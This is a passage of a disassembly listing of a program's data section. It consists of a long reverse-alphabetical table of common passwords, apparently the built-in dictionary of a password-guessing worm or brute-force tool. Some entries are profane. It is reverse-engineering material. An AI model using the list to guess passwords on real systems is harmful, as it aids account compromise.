4 aHagar db 'hagar',0 ; DATA XREF: .data:0042B004o align 4 aHacked db 'hacked',0 ; DATA XREF: .data:0042B000o align 4 aHack db 'hack',0 ; DATA XREF: .data:0042AFFCo align 4 aGuntis db 'guntis',0 ; DATA XREF: .data:0042AFF8o align 4 aGumption db 'gumption',0 ; DATA XREF: .data:0042AFF4o align 4 aGuitar db 'guitar',0 ; DATA XREF: .data:0042AFF0o align 10h aGuess db 'guess',0 ; DATA XREF: .data:0042AFECo align 4 aGucci db 'gucci',0 ; DATA XREF: .data:0042AFE8o align 10h aGuardian db 'guardian',0 ; DATA XREF: .data:0042AFE4o align 4 aGryphon db 'gryphon',0 ; DATA XREF: .data:0042AFE0o aGroup db 'group',0 ; DATA XREF: .data:0042AFDCo align 4 aGreen db 'green',0 ; DATA XREF: .data:0042AFD8o align 4 aGreat db 'great',0 ; DATA XREF: .data:0042AFD4o align 4 aGrant db 'grant',0 ; DATA XREF: .data:0042AFD0o align 4 aGrand db 'grand',0 ; DATA XREF: .data:0042AFCCo align 4 aGrahm db 'grahm',0 ; DATA XREF: .data:0042AFC8o align 4 aGraham db 'graham',0 ; DATA XREF: .data:0042AFC4o align 4 aGrades db 'grades',0 ; DATA XREF: .data:0042AFC0o align 4 aGovermen db 'govermen',0 ; DATA XREF: .data:0042AFBCo align 10h aGouge db 'gouge',0 ; DATA XREF: .data:0042AFB8o align 4 aGosling db 'gosling',0 ; DATA XREF: .data:0042AFB4o aGorges db 'gorges',0 ; DATA XREF: .data:0042AFB0o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: .data:0042AFACo align 4 aGood db 'good',0 ; DATA XREF: .data:0042AFA8o align 4 aGolfer db 'golfer',0 ; DATA XREF: .data:0042AFA4o align 4 aGolf db 'golf',0 ; DATA XREF: .data:0042AFA0o align 4 aGolden db 'golden',0 ; DATA XREF: .data:0042AF9Co align 4 aGold db 'gold',0 ; DATA XREF: .data:0042AF98o align 4 aGlacier db 'glacier',0 ; DATA XREF: .data:0042AF94o aGirl db 'girl',0 ; DATA XREF: .data:0042AF90o align 4 aGinger db 'ginger',0 ; DATA XREF: .data:0042AF8Co align 4 aGina db 'gina',0 ; DATA XREF: .data:0042AF88o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: .data:0042AF84o align 4 aGibson db 'gibson',0 ; DATA XREF: .data:0042AF80o align 10h aGhost db 'ghost',0 ; DATA XREF: .data:0042AF7Co align 4 aGertrude db 'gertrude',0 ; DATA XREF: .data:0042AF78o align 4 aGerm db 'germ',0 ; DATA XREF: .data:0042AF74o align 4 aGeorge db 'george',0 ; DATA XREF: .data:0042AF70o align 4 aGauss db 'gauss',0 ; DATA XREF: .data:0042AF6Co align 4 aGatt db 'gatt',0 ; DATA XREF: .data:0042AF68o align 4 aGatherin db 'gatherin',0 ; DATA XREF: .data:0042AF64o align 10h aGateway db 'gateway',0 ; DATA XREF: .data:0042AF60o aGarfield db 'garfield',0 ; DATA XREF: .data:0042AF5Co align 4 aGardner db 'gardner',0 ; DATA XREF: .data:0042AF58o aGames db 'games',0 ; DATA XREF: .data:0042AF54o align 4 aGabriel db 'gabriel',0 ; DATA XREF: .data:0042AF50o aFungible db 'fungible',0 ; DATA XREF: .data:0042AF4Co align 4 aFunction db 'function',0 ; DATA XREF: .data:0042AF48o align 4 aFudge db 'fudge',0 ; DATA XREF: .data:0042AF44o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: .data:0042AF40o aFuckme db 'fuckme',0 ; DATA XREF: .data:0042AF3Co align 4 aFucking db 'fucking',0 ; DATA XREF: .data:0042AF38o aFucker db 'fucker',0 ; DATA XREF: .data:0042AF34o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0042AF30o align 4 aFryguy db 'fryguy',0 ; DATA XREF: .data:0042AF2Co align 4 aFrog db 'frog',0 ; DATA XREF: .data:0042AF28o align 4 aFrighten db 'frighten',0 ; DATA XREF: .data:0042AF24o align 10h aFriends db 'friends',0 ; DATA XREF: .data:0042AF20o aFriend db 'friend',0 ; DATA XREF: .data:0042AF1Co align 10h aFriday db 'friday',0 ; DATA XREF: .data:0042AF18o align 4 aFrench db 'french',0 ; DATA XREF: .data:0042AF14o align 10h aFreedom db 'freedom',0 ; DATA XREF: .data:0042AF10o aFree db 'free',0 ; DATA XREF: .data:0042AF0Co align 10h aFred db 'fred',0 ; DATA XREF: .data:0042AF08o align 4 aFreak db 'freak',0 ; DATA XREF: .data:0042AF04o align 10h aFrank db 'frank',0 ; DATA XREF: .data:0042AF00o align 4 aFrance db 'france',0 ; DATA XREF: .data:0042AEFCo align 10h aFoxtrot db 'foxtrot',0 ; DATA XREF: .data:0042AEF8o aFourier db 'fourier',0 ; DATA XREF: .data:0042AEF4o aForsythe db 'forsythe',0 ; DATA XREF: .data:0042AEF0o align 4 aFornicat db 'fornicat',0 ; DATA XREF: .data:0042AEECo align 4 aFormat db 'format',0 ; DATA XREF: .data:0042AEE8o align 10h aForm db 'form',0 ; DATA XREF: .data:0042AEE4o align 4 aForever db 'forever',0 ; DATA XREF: .data:0042AEE0o aForesigh db 'foresigh',0 ; DATA XREF: .data:0042AEDCo align 4 aFord db 'ford',0 ; DATA XREF: .data:0042AED8o align 4 aForce db 'force',0 ; DATA XREF: .data:0042AED4o align 4 aFootball db 'football',0 ; DATA XREF: .data:0042AED0o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: .data:0042AECCo align 4 aFool db 'fool',0 ; DATA XREF: .data:0042AEC8o align 4 aFood db 'food',0 ; DATA XREF: .data:0042AEC4o align 4 aFlowers db 'flowers',0 ; DATA XREF: .data:0042AEC0o aFlower db 'flower',0 ; DATA XREF: .data:0042AEBCo align 4 aFlorida db 'florida',0 ; DATA XREF: .data:0042AEB8o aFloat db 'float',0 ; DATA XREF: .data:0042AEB4o align 4 aFlakes db 'flakes',0 ; DATA XREF: .data:0042AEB0o align 4 aFishers db 'fishers',0 ; DATA XREF: .data:0042AEACo aFirewall db 'firewall',0 ; DATA XREF: .data:0042AEA8o align 10h aFire db 'fire',0 ; DATA XREF: .data:0042AEA4o align 4 aFinite db 'finite',0 ; DATA XREF: .data:0042AEA0o align 10h aFile db 'file',0 ; DATA XREF: .data:0042AE9Co align 4 aFight db 'fight',0 ; DATA XREF: .data:0042AE98o align 10h aField db 'field',0 ; DATA XREF: .data:0042AE94o align 4 aFidelity db 'fidelity',0 ; DATA XREF: .data:0042AE90o align 4 aFerrari db 'ferrari',0 ; DATA XREF: .data:0042AE8Co aFermat db 'fermat',0 ; DATA XREF: .data:0042AE88o align 4 aFender db 'fender',0 ; DATA XREF: .data:0042AE84o align 4 aFelicia db 'felicia',0 ; DATA XREF: .data:0042AE80o aFeds db 'feds',0 ; DATA XREF: .data:0042AE7Co align 4 aFear db 'fear',0 ; DATA XREF: .data:0042AE78o align 4 aFast db 'fast',0 ; DATA XREF: .data:0042AE74o align 4 aFart db 'fart',0 ; DATA XREF: .data:0042AE70o align 4 aFaraday db 'faraday',0 ; DATA XREF: .data:0042AE6Co aFarad db 'farad',0 ; DATA XREF: .data:0042AE68o align 4 aFamily db 'family',0 ; DATA XREF: .data:0042AE64o align 4 aFalse db 'false',0 ; DATA XREF: .data:0042AE60o align 4 aFalcon db 'falcon',0 ; DATA XREF: .data:0042AE5Co align 4 aFaith db 'faith',0 ; DATA XREF: .data:0042AE58o align 4 aFairway db 'fairway',0 ; DATA XREF: .data:0042AE54o aExtensio db 'extensio',0 ; DATA XREF: .data:0042AE50o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: .data:0042AE4Co align 4 aExplorer db 'explorer',0 ; DATA XREF: .data:0042AE48o align 10h aExplore db 'explore',0 ; DATA XREF: .data:0042AE44o aExplode db 'explode',0 ; DATA XREF: .data:0042AE40o aExpert db 'expert',0 ; DATA XREF: .data:0042AE3Co align 4 aEvelyn db 'evelyn',0 ; DATA XREF: .data:0042AE38o align 10h aEuclid db 'euclid',0 ; DATA XREF: .data:0042AE34o align 4 aEternity db 'eternity',0 ; DATA XREF: .data:0042AE30o align 4 aEstate db 'estate',0 ; DATA XREF: .data:0042AE2Co align 4 aEstablis db 'establis',0 ; DATA XREF: .data:0042AE28o align 4 aErsatz db 'ersatz',0 ; DATA XREF: .data:0042AE24o align 10h aErotic db 'erotic',0 ; DATA XREF: .data:0042AE20o align 4 aErin db 'erin',0 ; DATA XREF: .data:0042AE1Co align 10h aErika db 'erika',0 ; DATA XREF: .data:0042AE18o align 4 aErica db 'erica',0 ; DATA XREF: .data:0042AE14o align 10h aEric db 'eric',0 ; DATA XREF: .data:0042AE10o align 4 aErenity db 'erenity',0 ; DATA XREF: .data:0042AE0Co aEnzyme db 'enzyme',0 ; DATA XREF: .data:0042AE08o align 4 aEnterpri db 'enterpri',0 ; DATA XREF: .data:0042AE04o align 4 aEnter db 'enter',0 ; DATA XREF: .data:0042AE00o align 4 aEnglish db 'english',0 ; DATA XREF: .data:0042ADFCo aEngland db 'england',0 ; DATA XREF: .data:0042ADF8o aEngineer db 'engineer',0 ; DATA XREF: .data:0042ADF4o align 4 aEngine db 'engine',0 ; DATA XREF: .data:0042ADF0o align 10h aEnemy db 'enemy',0 ; DATA XREF: .data:0042ADECo align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: .data:0042ADE8o align 4 aEmily db 'emily',0 ; DATA XREF: .data:0042ADE4o align 4 aEmerald db 'emerald',0 ; DATA XREF: .data:0042ADE0o aEmail db 'email',0 ; DATA XREF: .data:0042ADDCo align 4 aEllen db 'ellen',0 ; DATA XREF: .data:0042ADD8o align 4 aElizabet db 'elizabet',0 ; DATA XREF: .data:0042ADD4o align 10h aElephant db 'elephant',0 ; DATA XREF: .data:0042ADD0o align 4 aElectron db 'electron',0 ; DATA XREF: .data:0042ADCCo align 4 aElanor db 'elanor',0 ; DATA XREF: .data:0042ADC8o align 10h aElaine db 'elaine',0 ; DATA XREF: .data:0042ADC4o align 4 aEinstein db 'einstein',0 ; DATA XREF: .data:0042ADC0o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: .data:0042ADBCo align 10h aEileen db 'eileen',0 ; DATA XREF: .data:0042ADB8o align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: .data:0042ADB4o align 4 aEgghead db 'egghead',0 ; DATA XREF: .data:0042ADB0o aEdwina db 'edwina',0 ; DATA XREF: .data:0042ADACo align 4 aEdwin db 'edwin',0 ; DATA XREF: .data:0042ADA8o align 4 aEducatio db 'educatio',0 ; DATA XREF: .data:0042ADA4o align 4 aEducation db 'education',0 ; DATA XREF: .data:0042ADA0o align 4 aEdition db 'edition',0 ; DATA XREF: .data:0042AD9Co aEdit db 'edit',0 ; DATA XREF: .data:0042AD98o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: .data:0042AD94o align 10h aEdges db 'edges',0 ; DATA XREF: .data:0042AD90o align 4 aEddie db 'eddie',0 ; DATA XREF: .data:0042AD8Co align 10h aEcho db 'echo',0 ; DATA XREF: .data:0042AD88o align 4 aEatme db 'eatme',0 ; DATA XREF: .data:0042AD84o align 10h aEasy db 'easy',0 ; DATA XREF: .data:0042AD80o align 4 aEasier db 'easier',0 ; DATA XREF: .data:0042AD7Co align 10h aEarth db 'earth',0 ; DATA XREF: .data:0042AD78o align 4 aEagle db 'eagle',0 ; DATA XREF: .data:0042AD74o align 10h aEager db 'eager',0 ; DATA XREF: .data:0042AD70o align 4 aDyke db 'dyke',0 ; DATA XREF: .data:0042AD6Co align 10h aDungeon db 'dungeon',0 ; DATA XREF: .data:0042AD68o aDuncan db 'duncan',0 ; DATA XREF: .data:0042AD64o align 10h aDulce db 'dulce',0 ; DATA XREF: .data:0042AD60o align 4 aDuke db 'duke',0 ; DATA XREF: .data:0042AD5Co align 10h aDuelist db 'duelist',0 ; DATA XREF: .data:0042AD58o aDude db 'dude',0 ; DATA XREF: .data:0042AD54o align 10h aDuck db 'duck',0 ; DATA XREF: .data:0042AD50o align 4 aDrought db 'drought',0 ; DATA XREF: .data:0042AD4Co aDrive db 'drive',0 ; DATA XREF: .data:0042AD48o align 4 aDrdoom db 'drdoom',0 ; DATA XREF: .data:0042AD44o align 10h aDragon db 'dragon',0 ; DATA XREF: .data:0042AD40o align 4 aDownload db 'download',0 ; DATA XREF: .data:0042AD3Co align 4 aDope db 'dope',0 ; DATA XREF: .data:0042AD38o align 4 aDoors db 'doors',0 ; DATA XREF: .data:0042AD34o align 4 aDoor db 'door',0 ; DATA XREF: .data:0042AD30o align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: .data:0042AD2Co align 4 aDoomsday db 'doomsday',0 ; DATA XREF: .data:0042AD28o align 4 aDoomii db 'doomii',0 ; DATA XREF: .data:0042AD24o align 4 aDoom2 db 'doom2',0 ; DATA XREF: .data:0042AD20o align 4 aDoom db 'doom',0 ; DATA XREF: .data:0042AD1Co align 4 aDong db 'dong',0 ; DATA XREF: .data:0042AD18o align 4 aDollar db 'dollar',0 ; DATA XREF: .data:0042AD14o align 4 aDoctor db 'doctor',0 ; DATA XREF: .data:0042AD10o align 4 aDisplay db 'display',0 ; DATA XREF: .data:0042AD0Co aDisney db 'disney',0 ; DATA XREF: .data:0042AD08o align 4 aDiskette db 'diskette',0 ; DATA XREF: .data:0042AD04o align 10h aDisk_0 db 'disk',0 ; DATA XREF: .data:0042AD00o align 4 aDiscover db 'discover',0 ; DATA XREF: .data:0042ACFCo align 4 aDisclose db 'disclose',0 ; DATA XREF: .data:0042ACF8o align 10h aDiscipli db 'discipli',0 ; DATA XREF: .data:0042ACF4o align 4 aDisc db 'disc',0 ; DATA XREF: .data:0042ACF0o align 4 aDirty db 'dirty',0 ; DATA XREF: .data:0042ACECo align 4 aDirect db 'direct',0 ; DATA XREF: .data:0042ACE4o align 4 aDipshit db 'dipshit',0 ; DATA XREF: .data:0042ACE0o aDinosaur db 'dinosaur',0 ; DATA XREF: .data:0042ACDCo align 4 aDigital db 'digital',0 ; DATA XREF: .data:0042ACD8o aDieter db 'dieter',0 ; DATA XREF: .data:0042ACD4o align 4 aDiet db 'diet',0 ; DATA XREF: .data:0042ACD0o align 10h aDiehard db 'diehard',0 ; DATA XREF: .data:0042ACCCo aDick db 'dick',0 ; DATA XREF: .data:0042ACC8o align 10h aDice db 'dice',0 ; DATA XREF: .data:0042ACC4o align 4 aDiane db 'diane',0 ; DATA XREF: .data:0042ACC0o align 10h aDiana db 'diana',0 ; DATA XREF: .data:0042ACBCo align 4 aDiamond db 'diamond',0 ; DATA XREF: .data:0042ACB8o aDial db 'dial',0 ; DATA XREF: .data:0042ACB4o align 4 aDevice db 'device',0 ; DATA XREF: .data:0042ACB0o align 10h aDevelop db 'develop',0 ; DATA XREF: .data:0042ACACo aDesperat db 'desperat',0 ; DATA XREF: .data:0042ACA8o align 4 aDesktop db 'desktop',0 ; DATA XREF: .data:0042ACA4o aDesk db 'desk',0 ; DATA XREF: .data:0042ACA0o align 4 aDesiree db 'desiree',0 ; DATA XREF: .data:0042AC9Co aDennis db 'dennis',0 ; DATA XREF: .data:0042AC98o align 4 aDenise db 'denise',0 ; DATA XREF: .data:0042AC94o align 4 aDemocrat db 'democrat',0 ; DATA XREF: .data:0042AC90o align 4 aDeluge db 'deluge',0 ; DATA XREF: .data:0042AC8Co align 10h aDelta db 'delta',0 ; DATA XREF: .data:0042AC88o align 4 aDefoe db 'defoe',0 ; DATA XREF: .data:0042AC84o align 10h aDefault_0 db 'DEFAULT',0 ; DATA XREF: .data:0042AC80o aDeck db 'deck',0 ; DATA XREF: .data:0042AC78o align 10h aDecember db 'december',0 ; DATA XREF: .data:0042AC74o align 4 aDebug db 'debug',0 ; DATA XREF: .data:0042AC70o align 4 aDeborah db 'deborah',0 ; DATA XREF: .data:0042AC6Co aDebbie db 'debbie',0 ; DATA XREF: .data:0042AC68o align 4 aDeathsta db 'deathsta',0 ; DATA XREF: .data:0042AC64o align 10h aDead db 'dead',0 ; DATA XREF: .data:0042AC60o align 4 aDawn db 'dawn',0 ; DATA XREF: .data:0042AC5Co align 10h aDave db 'dave',0 ; DATA XREF: .data:0042AC58o align 4 aData db 'data',0 ; DATA XREF: .data:0042AC54o align 10h aDarkaven db 'darkaven',0 ; DATA XREF: .data:0042AC50o align 4 aDark db 'dark',0 ; DATA XREF: .data:0042AC4Co align 4 aDapper db 'dapper',0 ; DATA XREF: .data:0042AC48o align 4 aDanny db 'danny',0 ; DATA XREF: .data:0042AC44o align 4 aDanielle db 'danielle',0 ; DATA XREF: .data:0042AC40o align 10h aDaniel db 'daniel',0 ; DATA XREF: .data:0042AC3Co align 4 aDancer db 'dancer',0 ; DATA XREF: .data:0042AC38o align 10h aDana db 'dana',0 ; DATA XREF: .data:0042AC34o align 4 aDaisy db 'daisy',0 ; DATA XREF: .data:0042AC30o align 10h aDaemon db 'daemon',0 ; DATA XREF: .data:0042AC2Co align 4 aCynthia db 'cynthia',0 ; DATA XREF: .data:0042AC28o aCyberspa db 'cyberspa',0 ; DATA XREF: .data:0042AC24o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: .data:0042AC20o align 4 aCyber db 'cyber',0 ; DATA XREF: .data:0042AC1Co align 10h aCustomer db 'customer',0 ; DATA XREF: .data:0042AC18o align 4 aCunt db 'cunt',0 ; DATA XREF: .data:0042AC14o align 4 aCshrc db 'cshrc',0 ; DATA XREF: .data:0042AC10o align 4 aCrystal db 'crystal',0 ; DATA XREF: .data:0042AC0Co aCristina db 'cristina',0 ; DATA XREF: .data:0042AC08o align 10h aCriminal db 'criminal',0 ; DATA XREF: .data:0042AC04o align 4 aCrime db 'crime',0 ; DATA XREF: .data:0042AC00o align 4 aCretin db 'cretin',0 ; DATA XREF: .data:0042ABFCo align 4 aCreosote db 'creosote',0 ; DATA XREF: .data:0042ABF8o align 4 aCredit db 'credit',0 ; DATA XREF: .data:0042ABF4o align 10h aCreature db 'creature',0 ; DATA XREF: .data:0042ABF0o align 4 aCreation db 'creation',0 ; DATA XREF: .data:0042ABECo align 4 aCreate db 'create',0 ; DATA XREF: .data:0042ABE8o align 10h aCream db 'cream',0 ; DATA XREF: .data:0042ABE4o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: .data:0042ABE0o align 4 aCrack db 'crack',0 ; DATA XREF: .data:0042ABDCo align 4 aCowboy db 'cowboy',0 ; DATA XREF: .data:0042ABD8o align 4 aCouscous db 'couscous',0 ; DATA XREF: .data:0042ABD4o align 10h aCountry db 'country',0 ; DATA XREF: .data:0042ABD0o aCounters db 'counters',0 ; DATA XREF: .data:0042ABCCo align 4 aCorrect db 'correct',0 ; DATA XREF: .data:0042ABC8o aCorneliu db 'corneliu',0 ; DATA XREF: .data:0042ABC4o align 4 aCopy db 'copy',0 ; DATA XREF: .data:0042ABC0o align 10h aCops db 'cops',0 ; DATA XREF: .data:0042ABBCo align 4 aCopper db 'copper',0 ; DATA XREF: .data:0042ABB8o align 10h aCooper db 'cooper',0 ; DATA XREF: .data:0042ABB4o align 4 aCool db 'cool',0 ; DATA XREF: .data:0042ABB0o align 10h aCookie db 'cookie',0 ; DATA XREF: .data:0042ABACo align 4 aCookbook db 'cookbook',0 ; DATA XREF: .data:0042ABA8o align 4 aCook db 'cook',0 ; DATA XREF: .data:0042ABA4o align 4 aContinue db 'continue',0 ; DATA XREF: sub_40CC09+1CD6o ; .data:0042ABA0o align 4 aConsole db 'console',0 ; DATA XREF: .data:0042AB9Co aConserva db 'conserva',0 ; DATA XREF: .data:0042AB98o align 4 aConnie db 'connie',0 ; DATA XREF: .data:0042AB94o align 4 aCondom db 'condom',0 ; DATA XREF: .data:0042AB8Co align 4 aCondo db 'condo',0 ; DATA XREF: .data:0042AB88o align 4 aComrades db 'comrades',0 ; DATA XREF: .data:0042AB84o align 10h aComrade db 'comrade',0 ; DATA XREF: .data:0042AB80o aComputin db 'computin',0 ; DATA XREF: .data:0042AB7Co align 4 aCompany db 'company',0 ; DATA XREF: .data:0042AB78o aCommrade db 'commrade',0 ; DATA XREF: .data:0042AB74o align 4 aCommit db 'commit',0 ; DATA XREF: .data:0042AB70o align 10h aComics db 'comics',0 ; DATA XREF: .data:0042AB6Co align 4 aCombat db 'combat',0 ; DATA XREF: .data:0042AB68o align 10h aColor db 'color',0 ; DATA XREF: .data:0042AB64o align 4 aCollins db 'collins',0 ; DATA XREF: .data:0042AB60o aCold db 'cold',0 ; DATA XREF: .data:0042AB5Co align 4 aCola db 'cola',0 ; DATA XREF: .data:0042AB58o align 10h aCoke db 'coke',0 ; DATA XREF: .data:0042AB54o align 4 aCoin db 'coin',0 ; DATA XREF: .data:0042AB50o align 10h aCoffee db 'coffee',0 ; DATA XREF: .data:0042AB4Co align 4 aCodeword db 'codeword',0 ; DATA XREF: .data:0042AB48o align 4 aCodename db 'codename',0 ; DATA XREF: .data:0042AB44o align 10h aCode db 'code',0 ; DATA XREF: .data:0042AB40o align 4 aCock db 'cock',0 ; DATA XREF: .data:0042AB3Co align 10h aCocainco db 'cocainco',0 ; DATA XREF: .data:0042AB38o align 4 aCocacola db 'cocacola',0 ; DATA XREF: .data:0042AB34o align 4 aCoast db 'coast',0 ; DATA XREF: .data:0042AB30o align 10h aClusters db 'clusters',0 ; DATA XREF: .data:0042AB2Co align 4 aCluster db 'cluster',0 ; DATA XREF: .data:0042AB28o aClinton db 'clinton',0 ; DATA XREF: .data:0042AB24o aCleavage db 'cleavage',0 ; DATA XREF: .data:0042AB20o align 4 aClaymore db 'claymore',0 ; DATA XREF: .data:0042AB1Co align 4 aClaudia db 'claudia',0 ; DATA XREF: .data:0042AB18o aClassic db 'classic',0 ; DATA XREF: .data:0042AB14o aClasses db 'classes',0 ; DATA XREF: .data:0042AB10o aClass db 'class',0 ; DATA XREF: .data:0042AB0Co align 4 aCindy db 'cindy',0 ; DATA XREF: .data:0042AB08o align 4 aCigarett db 'cigarett',0 ; DATA XREF: .data:0042AB04o align 4 aCigar db 'cigar',0 ; DATA XREF: .data:0042AB00o align 10h aChristy db 'christy',0 ; DATA XREF: .data:0042AAFCo aChristin db 'christin',0 ; DATA XREF: .data:0042AAF8o align 4 aChris db 'chris',0 ; DATA XREF: .data:0042AAF4o align 4 aChip db 'chip',0 ; DATA XREF: .data:0042AAF0o align 4 aChester db 'chester',0 ; DATA XREF: .data:0042AAECo aChess db 'chess',0 ; DATA XREF: .data:0042AAE8o align 4 aChemistr db 'chemistr',0 ; DATA XREF: .data:0042AAE4o align 10h aChem db 'chem',0 ; DATA XREF: .data:0042AAE0o align 4 aChat_0 db 'chat',0 ; DATA XREF: .data:0042AADCo align 10h aCharon db 'charon',0 ; DATA XREF: .data:0042AAD8o align 4 aCharming db 'charming',0 ; DATA XREF: .data:0042AAD4o align 4 aCharlie db 'charlie',0 ; DATA XREF: .data:0042AAD0o aCharles db 'charles',0 ; DATA XREF: .data:0042AACCo aCharity db 'charity',0 ; DATA XREF: .data:0042AAC8o aChange db 'change',0 ; DATA XREF: .data:0042AAC4o align 4 aCerulean db 'cerulean',0 ; DATA XREF: .data:0042AAC0o align 10h aCeltics db 'celtics',0 ; DATA XREF: .data:0042AABCo aCeltic db 'celtic',0 ; DATA XREF: .data:0042AAB8o align 10h aCelt db 'celt',0 ; DATA XREF: .data:0042AAB4o align 4 aCecily db 'cecily',0 ; DATA XREF: .data:0042AAB0o align 10h aCayuga db 'cayuga',0 ; DATA XREF: .data:0042AAACo align 4 aCave db 'cave',0 ; DATA XREF: .data:0042AAA8o align 10h aCathy db 'cathy',0 ; DATA XREF: .data:0042AAA4o align 4 aCatholic db 'catholic',0 ; DATA XREF: .data:0042AAA0o align 4 aCatherin db 'catherin',0 ; DATA XREF: .data:0042AA9Co align 10h aCastle db 'castle',0 ; DATA XREF: .data:0042AA98o align 4 aCash db 'cash',0 ; DATA XREF: .data:0042AA94o align 10h aCascades db 'cascades',0 ; DATA XREF: .data:0042AA90o align 4 aCarson db 'carson',0 ; DATA XREF: .data:0042AA8Co align 4 aCarrie db 'carrie',0 ; DATA XREF: .data:0042AA88o align 4 aCaroline db 'caroline',0 ; DATA XREF: .data:0042AA84o align 4 aCarolina db 'carolina',0 ; DATA XREF: .data:0042AA80o align 4 aCarole db 'carole',0 ; DATA XREF: .data:0042AA7Co align 4 aCarol db 'carol',0 ; DATA XREF: .data:0042AA78o align 4 aCarmen db 'carmen',0 ; DATA XREF: .data:0042AA74o align 4 aCarla db 'carla',0 ; DATA XREF: .data:0042AA70o align 4 aCaren db 'caren',0 ; DATA XREF: .data:0042AA6Co align 4 aCardinal db 'cardinal',0 ; DATA XREF: .data:0042AA68o align 4 aCard db 'card',0 ; DATA XREF: .data:0042AA64o align 10h aCapture db 'capture',0 ; DATA XREF: .data:0042AA60o aCaptain db 'captain',0 ; DATA XREF: .data:0042AA5Co aCantor db 'cantor',0 ; DATA XREF: .data:0042AA58o align 4 aCandy db 'candy',0 ; DATA XREF: .data:0042AA54o align 10h aCandi db 'candi',0 ; DATA XREF: .data:0042AA50o align 4 aCamping db 'camping',0 ; DATA XREF: .data:0042AA4Co aCampanil db 'campanil',0 ; DATA XREF: .data:0042AA48o align 4 aCamille db 'camille',0 ; DATA XREF: .data:0042AA44o aCaliforn db 'californ',0 ; DATA XREF: .data:0042AA40o align 10h aButthead db 'butthead',0 ; DATA XREF: .data:0042AA3Co align 4 aButt db 'butt',0 ; DATA XREF: .data:0042AA38o align 4 aButch db 'butch',0 ; DATA XREF: .data:0042AA34o align 4 aBurn db 'burn',0 ; DATA XREF: .data:0042AA30o align 4 aBurgess db 'burgess',0 ; DATA XREF: .data:0042AA2Co aBung db 'bung',0 ; DATA XREF: .data:0042AA28o align 4 aBumbling db 'bumbling',0 ; DATA XREF: .data:0042AA24o align 10h aBullshit db 'bullshit',0 ; DATA XREF: .data:0042AA20o align 4 aBulls db 'bulls',0 ; DATA XREF: .data:0042AA1Co align 4 aBrutefor db 'brutefor',0 ; DATA XREF: .data:0042AA18o align 10h aBrute db 'brute',0 ; DATA XREF: .data:0042AA14o align 4 aBrunette db 'brunette',0 ; DATA XREF: .data:0042AA10o align 4 aBrothel db 'brothel',0 ; DATA XREF: .data:0042AA0Co aBroadway db 'broadway',0 ; DATA XREF: .data:0042AA08o align 4 aBridget db 'bridget',0 ; DATA XREF: .data:0042AA04o aBrian db 'brian',0 ; DATA XREF: .data:0042AA00o align 4 aBrenda db 'brenda',0 ; DATA XREF: .data:0042A9FCo align 10h aBreast db 'breast',0 ; DATA XREF: .data:0042A9F8o align 4 aBreak db 'break',0 ; DATA XREF: .data:0042A9F4o align 10h aBravo db 'bravo',0 ; DATA XREF: .data:0042A9F0o align 4 aBrandy db 'brandy',0 ; DATA XREF: .data:0042A9ECo align 10h aBrandi db 'brandi',0 ; DATA XREF: .data:0042A9E8o align 4 aBradley db 'bradley',0 ; DATA XREF: .data:0042A9E4o aBoyscout db 'boyscout',0 ; DATA XREF: .data:0042A9E0o align 4 aBorn db 'born',0 ; DATA XREF: .data:0042A9DCo align 4 aBook db 'book',0 ; DATA XREF: .data:0042A9D8o align 4 aBoobs db 'boobs',0 ; DATA XREF: .data:0042A9D4o align 4 aBoob db 'boob',0 ; DATA XREF: .data:0042A9D0o align 4 aBoner db 'boner',0 ; DATA XREF: .data:0042A9CCo align 4 aBomb db 'bomb',0 ; DATA XREF: .data:0042A9C8o align 4 aBoard db 'board',0 ; DATA XREF: .data:0042A9C4o align 4 aBlues db 'blues',0 ; DATA XREF: .data:0042A9C0o align 4 aBlue db 'blue',0 ; DATA XREF: .data:0042A9BCo align 4 aBlowjob db 'blowjob',0 ; DATA XREF: .data:0042A9B8o aBlow db 'blow',0 ; DATA XREF: .data:0042A9B4o align 4 aBloodaxe db 'bloodaxe',0 ; DATA XREF: .data:0042A9B0o align 10h aBlood db 'blood',0 ; DATA XREF: .data:0042A9ACo align 4 aBlondie db 'blondie',0 ; DATA XREF: .data:0042A9A8o aBlonde db 'blonde',0 ; DATA XREF: .data:0042A9A4o align 4 aBlack db 'black',0 ; DATA XREF: .data:0042A9A0o align 10h aBitnet db 'bitnet',0 ; DATA XREF: .data:0042A99Co align 4 aBitmap db 'bitmap',0 ; DATA XREF: .data:0042A998o align 10h aBitch db 'bitch',0 ; DATA XREF: .data:0042A994o align 4 aBishop db 'bishop',0 ; DATA XREF: .data:0042A990o align 10h aBird db 'bird',0 ; DATA XREF: .data:0042A98Co align 4 aBios db 'bios',0 ; DATA XREF: .data:0042A988o align 10h aBinary db 'binary',0 ; DATA XREF: .data:0042A984o align 4 aBill db 'bill',0 ; DATA XREF: .data:0042A980o align 10h aBigfoot db 'bigfoot',0 ; DATA XREF: .data:0042A97Co aBicamera db 'bicamera',0 ; DATA XREF: .data:0042A978o align 4 aBible db 'bible',0 ; DATA XREF: .data:0042A974o align 4 aBeverly db 'beverly',0 ; DATA XREF: .data:0042A970o aBetty db 'betty',0 ; DATA XREF: .data:0042A96Co align 4 aBetsie db 'betsie',0 ; DATA XREF: .data:0042A968o align 4 aBeth db 'beth',0 ; DATA XREF: .data:0042A964o align 4 aBeta db 'beta',0 ; DATA XREF: .data:0042A960o align 4 aBeryl db 'beryl',0 ; DATA XREF: .data:0042A95Co align 4 aBerliner db 'berliner',0 ; DATA XREF: .data:0042A958o align 4 aBerlin db 'berlin',0 ; DATA XREF: .data:0042A954o align 10h aBerkeley db 'berkeley',0 ; DATA XREF: .data:0042A950o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: .data:0042A94Co aBenz db 'benz',0 ; DATA XREF: .data:0042A948o align 4 aBeloved db 'beloved',0 ; DATA XREF: .data:0042A944o aBell db 'bell',0 ; DATA XREF: .data:0042A940o align 4 aBehead db 'behead',0 ; DATA XREF: .data:0042A93Co align 4 aBegin db 'begin',0 ; DATA 